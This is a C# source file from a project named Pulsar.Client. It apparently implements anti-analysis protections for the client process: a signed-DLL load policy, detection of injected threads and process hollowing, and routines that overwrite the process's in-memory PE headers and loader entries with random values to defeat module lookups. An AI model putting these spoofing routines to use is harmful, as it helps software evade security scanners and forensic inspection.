Files
PulsarK-main/Pulsar.Client/Anti/Injection/AntiInjection.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

412 lines
21 KiB
C#

using Pulsar.Client.Anti.Helper;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using static Pulsar.Client.Anti.Helper.Structs;
namespace Pulsar.Client.Anti.Injection
{
public static class Spoofs
{
public const int BaseAddress = 1 << 0;
public const int ModuleName = 1 << 1;
public const int AddressOfEntryPoint = 1 << 2;
public const int SizeOfImage = 1 << 3;
public const int NumberOfSections = 1 << 4;
public const int ImageMagic = 1 << 5;
public const int NotExecutableNorDll = 1 << 6;
public const int PESignature = 1 << 7;
public const int ExecutableSectionName = 1 << 8;
public const int ExecutableSectionRawSize = 1 << 9;
public const int ExecutableSectionRawPointer = 1 << 10;
public const int ClearExecutableSectionCharacteristics = 1 << 11;
public const int ExecutableSectionVirtualSize = 1 << 12;
}
public class AntiInjection
{
#region WinApi
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lib);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
[DllImport("kernelbase.dll", SetLastError = true)]
public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
#endregion
/// <summary>
/// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded.
/// </summary>
/// <returns>Returns "Success" if the policy was set successfully, otherwise "Failed".</returns>
public static string SetDllLoadPolicy()
{
Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{
MicrosoftSignedOnly = 1
};
if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy)))
return "Success";
return "Failed";
}
/// <summary>
/// Detects if an address is in range inside modules or not.
/// </summary>
/// <param name="Address">The address to check for.</param>
/// <returns>Returns true if the address is in no module, otherwise false.</returns>
private static bool IsAddressInRange(IntPtr Address)
{
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
IntPtr Base = module.BaseAddress;
IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize);
if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64())
{
return true;
}
}
return false;
}
/// <summary>
/// Detects if an address is in range inside modules or not.
/// </summary>
/// <param name="Syscall">Specifies whether we use syscalls for the check or not.</param>
/// <param name="CheckModuleRange">Check if the threads start address is within modules range or not.</param>
/// <returns>Returns true if no thread is injected, otherwise false.</returns>
public static bool CheckInjectedThreads()
{
uint MEM_IMAGE = 0x1000000;
uint MEM_COMMIT = 0x1000;
int ThreadQuerySetWin32StartAddress = 9;
uint THREAD_QUERY_INFORMATION = 0x0040;
int PID = Process.GetCurrentProcess().Id;
foreach (ProcessThread thread in Process.GetCurrentProcess().Threads)
{
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)thread.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
IntPtr StartAddress = IntPtr.Zero;
int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero);
Utils.CloseHandle(hThread);
if (QueryStatus == 0)
{
MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION();
if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _))
{
if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT)
{
return true;
}
}
}
}
}
return false;
}
/// <summary>
/// Generate a random module name.
/// </summary>
/// <returns>the random module name.</returns>
private static string GenerateRandomString()
{
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
int RandomLength = random.Next(6, 32);
char[] NewModule = new char[RandomLength];
for (int i = 0; i < RandomLength; i++)
{
NewModule[i] = Letters[random.Next(Letters.Length)];
}
return new string(NewModule);
}
private static bool IsFlagsSet(int SpoofOptions, int[] spoofs)
{
foreach (int spoofa in spoofs)
{
if ((SpoofOptions & spoofa) == spoofa)
return true;
}
return false;
}
private static bool IsPE_FlagsSet(int SpoofOptions)
{
int[] spoofs = {
Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize,
Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic,
Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics,
Spoofs.ExecutableSectionVirtualSize
};
return IsFlagsSet(SpoofOptions, spoofs);
}
/// <summary>
/// Changes the module information at runtime to avoid modification/lookups.
/// </summary>
/// <param name="ModuleName">The module name which we will change it's information. if left null, we get the main module of the process.</param>
/// <param name="SpoofOptions">The spoofing options to apply.</param>
/// <returns>Returns true if successfully changed the module info, otherwise false.</returns>
public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions)
{
try
{
string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName;
if (string.IsNullOrEmpty(FinalModuleName))
return false;
IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName);
if (hModule == IntPtr.Zero)
return false;
string Fake = $"{GenerateRandomString()}.dll";
PEB Peb = Utils.GetPEB();
_PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr);
IntPtr f = Ldr.InMemoryOrderModuleList.Flink;
Random RandGen = new Random();
for (int count = 0; count < 256 && f != IntPtr.Zero; count++)
{
_LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f);
string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer);
if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName)
{
if (IsPE_FlagsSet(SpoofOptions))
{
int[] SectionSpoof = {
Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer,
Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize
};
IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(hModule);
IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew);
if (IntPtr.Size == 8)
{
IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS64>(pNtHeaders);
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
{
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
ushort IMAGE_FILE_DLL = 0x2000;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
}
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
NtHeadersStruct.Signature = 0x4D5A0000;
if (IsFlagsSet(SpoofOptions, SectionSpoof))
{
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
IntPtr pSectionHeader = pSectionHeaders;
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
uint IMAGE_SCN_CNT_CODE = 0x00000020;
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
{
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
SectionHeader.Characteristics = 0;
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
break;
}
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
}
}
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
}
else
{
IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS32>(pNtHeaders);
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
{
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
ushort IMAGE_FILE_DLL = 0x2000;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
}
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
NtHeadersStruct.Signature = 0x4D5A0000;
if (IsFlagsSet(SpoofOptions, SectionSpoof))
{
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
IntPtr pSectionHeader = pSectionHeaders;
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
uint IMAGE_SCN_CNT_CODE = 0x00000020;
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
{
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
SectionHeader.Characteristics = 0;
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
break;
}
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
}
}
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
}
}
if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress)
{
TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000);
}
if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName)
{
IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake);
TableEntry.FullDllName.Buffer = FakeDllBuffer;
TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2);
TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2);
}
Utils.WriteStructToPtr(TableEntry, f, true, true);
return true;
}
f = TableEntry.InLoadOrderLinks.Flink;
}
}
catch
{
return false;
}
return false;
}
/// <summary>
/// Changes CLR Module ImageMagic to prevent critical info lookups.
/// </summary>
/// <returns>Returns true if successful, otherwise false.</returns>
public static bool ChangeCLRModuleImageMagic()
{
string CLR = Utils.GetCurrentCLRModuleName();
if (!string.IsNullOrEmpty(CLR))
{
return ChangeModuleInfo(CLR, Spoofs.ImageMagic);
}
return false;
}
/// <summary>
/// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing).
/// </summary>
/// <returns>Returns true if the ImageBaseAddress is suspicious, otherwise false.</returns>
public static bool CheckForSuspiciousBaseAddress()
{
try
{
PEB Peb = Utils.GetPEB();
if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress)
return true;
}
catch
{
}
return false;
}
}
}